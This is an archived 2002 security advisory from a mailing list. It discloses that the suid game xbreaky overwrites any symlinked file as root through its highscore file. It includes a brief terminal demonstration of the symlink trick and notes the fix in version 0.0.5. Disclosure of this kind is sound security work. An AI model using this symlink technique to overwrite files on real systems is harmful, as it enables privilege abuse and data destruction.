xbreaky symlink vulnerability

From: Marco van Berkum (m.v.berkumat_private)
Date: Thu Sep 12 2002 - 09:28:14 PDT

  • Next message: Ulf Harnhammar: "Re: PHP fopen() CRLF Injection"

    -----------------------------------------------------------------------
    Title:             xbreaky symlink vulnerability
    Author:            Marco van Berkum
    Classification:    High risk
    Date:              12/09/2002
    Email:             m.v.berkumat_private
    Company:           OBIT
    Company site:      http://www.obit.nl
    Personal website:  http://ws.obit.nl
    -----------------------------------------------------------------------
    
    About xbreaky
    -------------
    xbreaky is a breakout game for X written by Dave Brul which can be downloaded
    from http://xbreaky.sourceforge.net. xbreaky is added to the OpenBSD ports tree,
    NetBSD tree and possibly others.
    
    Problem
    -------
    By default xbreaky is installed as suid and can be abused to overwrite any file
    on the filesystem, by any user.
    
    Vulnerable versions
    -------------------
    All versions prior to 0.0.5
    
    Exploit
    -------
    xbreaky uses $HOME/.breakyhighscores to write the highscores to, when
    $HOME/.breakyhighscores is symlinked to another file (*any* file) it simply
    overwrites it as root user.
    
    Example
    -------
    root@animal:/home/marco# echo "bla" >rootfile
    root@animal:/home/marco# chmod 600 rootfile
    root@animal:/home/marco# exit
    logout
    marco@animal:~$ ln -s rootfile .breakyhighscores
    marco@animal:~$ xbreaky
    
    Now I play a game and set highscore as user "lol", then I exit the game.
    Its a nice game btw :)
    
    marco@animal:~$ cat rootfile
    cat: rootfile: Permission denied
    marco@animal:~$ su -
    Password:
    root@animal:~# cat /home/marco/rootfile
    lol <- voila, our highscore user
    
    Author's response and solution
    ------------------------------
    The author corrected the problem and released xbreaky 0.0.5
    
    Credits
    -------
    Thanks to Dennis Oelkers for testing.
    
    
    --
    find / -user your -name base -exec chown us:us {}\;
     ----------------------------------------
    |    Marco van Berkum / MB17300-RIPE     |
    | m.v.berkumat_private / http://ws.obit.nl |
     ----------------------------------------
    



    This archive was generated by hypermail 2b30 : Thu Sep 12 2002 - 09:37:04 PDT